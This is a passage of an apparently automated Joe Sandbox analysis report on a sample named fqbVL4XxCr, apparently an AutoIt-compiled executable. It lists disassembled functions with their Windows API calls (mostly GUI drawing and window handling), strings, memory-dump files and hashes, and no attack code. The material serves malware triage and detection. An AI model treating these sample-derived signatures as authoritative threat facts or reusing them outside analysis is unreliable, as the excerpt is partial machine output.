                                                • Opcode Fuzzy Hash: 0b5eb7c7c7de849bddbabaaaa76059ab5e4a5b0e9cc81fbad33912da025170e9
                                                • Instruction Fuzzy Hash: 7D61797123870B66DE749D288C95BFE2398DFC17C8F14091EE942DB2C1DA519E72CB15
                                                Function 002B1706 Relevance: .2, Instructions: 232COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
                                                • Instruction ID: 938ff434bb5edcd02cb1a7241d7016bef90679fd3d0b7e6bb2699d1d207d74be
                                                • Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
                                                • Instruction Fuzzy Hash: 4E8178335290E349EB6D4A3985344BEFFE16A923E135A079DD4F2CB1C1EE14D574E620
                                                Function 002AD064 Relevance: .1, Instructions: 148COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 6b2a3d9b290ec7078fc529f2a03e118337e26cd1fd09fbdc5e2aad063400a8cf
                                                • Instruction ID: 2ae0f58a6b90661e177563d8f312fae4c1fd1805fdbc8ed3cd15574ac21ed94d
                                                • Opcode Fuzzy Hash: 6b2a3d9b290ec7078fc529f2a03e118337e26cd1fd09fbdc5e2aad063400a8cf
                                                • Instruction Fuzzy Hash: A15136A684FBC25FD7274B348CBA144FFB0AE6B5103284ADFC4C14A1C7E6990199CB5A
                                                Function 00312ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00312B30
                                                • DeleteObject.GDI32(00000000), ref: 00312B43
                                                • DestroyWindow.USER32 ref: 00312B52
                                                • GetDesktopWindow.USER32 ref: 00312B6D
                                                • GetWindowRect.USER32(00000000), ref: 00312B74
                                                • SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00312CA3
                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00312CB1
                                                • CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312CF8
                                                • GetClientRect.USER32(00000000,?), ref: 00312D04
                                                • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00312D40
                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312D62
                                                • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312D75
                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312D80
                                                • GlobalLock.KERNEL32(00000000), ref: 00312D89
                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312D98
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00312DA1
                                                • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312DA8
                                                • GlobalFree.KERNEL32(00000000), ref: 00312DB3
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312DC5
                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,0032FC38,00000000), ref: 00312DDB
                                                • GlobalFree.KERNEL32(00000000), ref: 00312DEB
                                                • CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00312E11
                                                • SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00312E30
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00312E52
                                                • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0031303F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                • String ID: $AutoIt v3$DISPLAY$static
                                                • API String ID: 2211948467-2373415609
                                                • Opcode ID: 3b10d9b853beaf08905fcc9d6060c8fb6e1941d69251f27dc69f9a9f52458b1b
                                                • Instruction ID: 3893fa725d041ff1ab77f9eb51e2a284836d4b498c854b24506751fbb493dfd3
                                                • Opcode Fuzzy Hash: 3b10d9b853beaf08905fcc9d6060c8fb6e1941d69251f27dc69f9a9f52458b1b
                                                • Instruction Fuzzy Hash: B4026975910204EFDB26DF64CD89EAE7BB9EF48310F148518F915AB2A1CB70AD51CFA0
                                                Function 003270D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetTextColor.GDI32(?,00000000), ref: 0032712F
                                                • GetSysColorBrush.USER32(0000000F), ref: 00327160
                                                • GetSysColor.USER32(0000000F), ref: 0032716C
                                                • SetBkColor.GDI32(?,000000FF), ref: 00327186
                                                • SelectObject.GDI32(?,?), ref: 00327195
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 003271C0
                                                • GetSysColor.USER32(00000010), ref: 003271C8
                                                • CreateSolidBrush.GDI32(00000000), ref: 003271CF
                                                • FrameRect.USER32(?,?,00000000), ref: 003271DE
                                                • DeleteObject.GDI32(00000000), ref: 003271E5
                                                • InflateRect.USER32(?,000000FE,000000FE), ref: 00327230
                                                • FillRect.USER32(?,?,?), ref: 00327262
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00327284
                                                  • Part of subcall function 003273E8: GetSysColor.USER32(00000012), ref: 00327421
                                                  • Part of subcall function 003273E8: SetTextColor.GDI32(?,?), ref: 00327425
                                                  • Part of subcall function 003273E8: GetSysColorBrush.USER32(0000000F), ref: 0032743B
                                                  • Part of subcall function 003273E8: GetSysColor.USER32(0000000F), ref: 00327446
                                                  • Part of subcall function 003273E8: GetSysColor.USER32(00000011), ref: 00327463
                                                  • Part of subcall function 003273E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00327471
                                                  • Part of subcall function 003273E8: SelectObject.GDI32(?,00000000), ref: 00327482
                                                  • Part of subcall function 003273E8: SetBkColor.GDI32(?,00000000), ref: 0032748B
                                                  • Part of subcall function 003273E8: SelectObject.GDI32(?,?), ref: 00327498
                                                  • Part of subcall function 003273E8: InflateRect.USER32(?,000000FF,000000FF), ref: 003274B7
                                                  • Part of subcall function 003273E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 003274CE
                                                  • Part of subcall function 003273E8: GetWindowLongW.USER32(00000000,000000F0), ref: 003274DB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                                • String ID:
                                                • API String ID: 4124339563-0
                                                • Opcode ID: 2cda5d3e922ea614fb58711077a3d1773bb4b12fd7f10a018ca6dd696ee61581
                                                • Instruction ID: 78089ea5b4ffa6bd76e7faae791cf42cdbb0527d54b6e8addbf5ba8c60bed13c
                                                • Opcode Fuzzy Hash: 2cda5d3e922ea614fb58711077a3d1773bb4b12fd7f10a018ca6dd696ee61581
                                                • Instruction Fuzzy Hash: 13A1AE72018311EFDB229F60DC48A6F7BA9FF49320F101A1DFA62961E1D771E945CB92
                                                Function 002A8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?), ref: 002A8E14
                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 002E6AC5
                                                • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 002E6AFE
                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 002E6F43
                                                  • Part of subcall function 002A8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002A8BE8,?,00000000,?,?,?,?,002A8BBA,00000000,?), ref: 002A8FC5
                                                • SendMessageW.USER32(?,00001053), ref: 002E6F7F
                                                • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 002E6F96
                                                • ImageList_Destroy.COMCTL32(00000000,?), ref: 002E6FAC
                                                • ImageList_Destroy.COMCTL32(00000000,?), ref: 002E6FB7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
                                                • String ID: 0
                                                • API String ID: 2760611726-4108050209
                                                • Opcode ID: 93f153bf5975fbff0ee0ecfdd8fbc71ee941d1b8f6d8a56cb40cb79296009916
                                                • Instruction ID: 02a426a249b2e04e8f57719e6d94d47c9bed0c8c3189fcaafde565426f5bfa73
                                                • Opcode Fuzzy Hash: 93f153bf5975fbff0ee0ecfdd8fbc71ee941d1b8f6d8a56cb40cb79296009916
                                                • Instruction Fuzzy Hash: 6A12BF30220282DFDB26CF15C958BA9B7E5FB65340F988469F485CB661CB71EC62CF91
                                                Function 00312711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(00000000), ref: 0031273E
                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0031286A
                                                • SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 003128A9
                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 003128B9
                                                • CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00312900
                                                • GetClientRect.USER32(00000000,?), ref: 0031290C
                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00312955
                                                • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00312964
                                                • GetStockObject.GDI32(00000011), ref: 00312974
                                                • SelectObject.GDI32(00000000,00000000), ref: 00312978
                                                • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00312988
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00312991
                                                • DeleteDC.GDI32(00000000), ref: 0031299A
                                                • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 003129C6
                                                • SendMessageW.USER32(00000030,00000000,00000001), ref: 003129DD
                                                • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00312A1D
                                                • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00312A31
                                                • SendMessageW.USER32(00000404,00000001,00000000), ref: 00312A42
                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00312A77
                                                • GetStockObject.GDI32(00000011), ref: 00312A82
                                                • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00312A8D
                                                • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00312A97
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                • API String ID: 2910397461-517079104
                                                • Opcode ID: f7bcb8c88ecfe1eaa0ee86f1ee67511a0d2afe48024c562fa7196a7737df2412
                                                • Instruction ID: b4a7aaa4d1a4ad653e20411db3d77d59cc6a2a93507f8027a281fd8ffe45bb0d
                                                • Opcode Fuzzy Hash: f7bcb8c88ecfe1eaa0ee86f1ee67511a0d2afe48024c562fa7196a7737df2412
                                                • Instruction Fuzzy Hash: C0B17C75A10205AFEB25DF68DC4AEAF7BA9EB08710F148118F915E72A0D770ED50CF94
                                                Function 00304ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00304AED
                                                • GetDriveTypeW.KERNEL32(?,0032CB68,?,\\.\,0032CC08), ref: 00304BCA
                                                • SetErrorMode.KERNEL32(00000000,0032CB68,?,\\.\,0032CC08), ref: 00304D36
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DriveType
                                                • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                • API String ID: 2907320926-4222207086
                                                • Opcode ID: c812e85d6dcc10820a6d97bc1d90df110f3bb19d8ee5d03b30aee4a46c208927
                                                • Instruction ID: a10e02980d4890b53e6abc3fdda4c1a15afd69fbd36ef5c9b137442876b56afc
                                                • Opcode Fuzzy Hash: c812e85d6dcc10820a6d97bc1d90df110f3bb19d8ee5d03b30aee4a46c208927
                                                • Instruction Fuzzy Hash: BE61F6B0202205FBDB07DF28CAA2DBCB7B4AB44301B644415FD06AB6E5DB31DE45DB41
                                                Function 003273E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000012), ref: 00327421
                                                • SetTextColor.GDI32(?,?), ref: 00327425
                                                • GetSysColorBrush.USER32(0000000F), ref: 0032743B
                                                • GetSysColor.USER32(0000000F), ref: 00327446
                                                • CreateSolidBrush.GDI32(?), ref: 0032744B
                                                • GetSysColor.USER32(00000011), ref: 00327463
                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00327471
                                                • SelectObject.GDI32(?,00000000), ref: 00327482
                                                • SetBkColor.GDI32(?,00000000), ref: 0032748B
                                                • SelectObject.GDI32(?,?), ref: 00327498
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 003274B7
                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 003274CE
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 003274DB
                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0032752A
                                                • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00327554
                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00327572
                                                • DrawFocusRect.USER32(?,?), ref: 0032757D
                                                • GetSysColor.USER32(00000011), ref: 0032758E
                                                • SetTextColor.GDI32(?,00000000), ref: 00327596
                                                • DrawTextW.USER32(?,003270F5,000000FF,?,00000000), ref: 003275A8
                                                • SelectObject.GDI32(?,?), ref: 003275BF
                                                • DeleteObject.GDI32(?), ref: 003275CA
                                                • SelectObject.GDI32(?,?), ref: 003275D0
                                                • DeleteObject.GDI32(?), ref: 003275D5
                                                • SetTextColor.GDI32(?,?), ref: 003275DB
                                                • SetBkColor.GDI32(?,?), ref: 003275E5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                • String ID:
                                                • API String ID: 1996641542-0
                                                • Opcode ID: 9275bff85e052faa2adad478a695c2ab034faf666603f0e9b2e027f60b5a8f7a
                                                • Instruction ID: bc1ff9153faae70e3e62eb6a46bc61cfaf14576b177d1baa41b034a2017dcc35
                                                • Opcode Fuzzy Hash: 9275bff85e052faa2adad478a695c2ab034faf666603f0e9b2e027f60b5a8f7a
                                                • Instruction Fuzzy Hash: 85617F72900218AFDF129FA4DC49EAEBFB9FF09720F215115F911AB2A1D774A941CF90
                                                Function 00320FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 00321128
                                                • GetDesktopWindow.USER32 ref: 0032113D
                                                • GetWindowRect.USER32(00000000), ref: 00321144
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00321199
                                                • DestroyWindow.USER32(?), ref: 003211B9
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 003211ED
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0032120B
                                                • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0032121D
                                                • SendMessageW.USER32(00000000,00000421,?,?), ref: 00321232
                                                • SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00321245
                                                • IsWindowVisible.USER32(00000000), ref: 003212A1
                                                • SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 003212BC
                                                • SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 003212D0
                                                • GetWindowRect.USER32(00000000,?), ref: 003212E8
                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 0032130E
                                                • GetMonitorInfoW.USER32(00000000,?), ref: 00321328
                                                • CopyRect.USER32(?,?), ref: 0032133F
                                                • SendMessageW.USER32(00000000,00000412,00000000), ref: 003213AA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                • String ID: ($0$tooltips_class32
                                                • API String ID: 698492251-4156429822
                                                • Opcode ID: 83ec2ec79eec06887ded0a5fa0c36aa11b70e47e664ef3f2099bd9f26ec975af
                                                • Instruction ID: 60c2cfbcff71e0a66cf2eafd32633025a4aa28cfc0cb27fac89b806d038534fa
                                                • Opcode Fuzzy Hash: 83ec2ec79eec06887ded0a5fa0c36aa11b70e47e664ef3f2099bd9f26ec975af
                                                • Instruction Fuzzy Hash: 03B19871618350AFDB11DF24D984B6EBBE9FF98310F00891CF9999B2A1C731E845CB92
                                                Function 00320241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 003202E5
                                                • _wcslen.LIBCMT ref: 0032031F
                                                • _wcslen.LIBCMT ref: 00320389
                                                • _wcslen.LIBCMT ref: 003203F1
                                                • _wcslen.LIBCMT ref: 00320475
                                                • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 003204C5
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00320504
                                                  • Part of subcall function 002AF9F2: _wcslen.LIBCMT ref: 002AF9FD
                                                  • Part of subcall function 002F223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002F2258
                                                  • Part of subcall function 002F223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 002F228A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$MessageSend$BuffCharUpper
                                                • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                • API String ID: 1103490817-719923060
                                                • Opcode ID: aa6ea4a7d4f87079a03b4458aaef187f2aa613a1bdc89c8788337bacc63a2efb
                                                • Instruction ID: f2d4bfab2dc28da40f6cecb35daa15377e0f252b8c88657c5d98bc637d5b74b6
                                                • Opcode Fuzzy Hash: aa6ea4a7d4f87079a03b4458aaef187f2aa613a1bdc89c8788337bacc63a2efb
                                                • Instruction Fuzzy Hash: 63E1B0312182118FCB1ADF24E59083EB3E6FF89314B55496DF8969B7A2DB30ED49CB41
                                                Function 002A8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002A8968
                                                • GetSystemMetrics.USER32(00000007), ref: 002A8970
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002A899B
                                                • GetSystemMetrics.USER32(00000008), ref: 002A89A3
                                                • GetSystemMetrics.USER32(00000004), ref: 002A89C8
                                                • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 002A89E5
                                                • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 002A89F5
                                                • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 002A8A28
                                                • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 002A8A3C
                                                • GetClientRect.USER32(00000000,000000FF), ref: 002A8A5A
                                                • GetStockObject.GDI32(00000011), ref: 002A8A76
                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 002A8A81
                                                  • Part of subcall function 002A912D: GetCursorPos.USER32(?), ref: 002A9141
                                                  • Part of subcall function 002A912D: ScreenToClient.USER32(00000000,?), ref: 002A915E
                                                  • Part of subcall function 002A912D: GetAsyncKeyState.USER32(00000001), ref: 002A9183
                                                  • Part of subcall function 002A912D: GetAsyncKeyState.USER32(00000002), ref: 002A919D
                                                • SetTimer.USER32(00000000,00000000,00000028,002A90FC), ref: 002A8AA8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
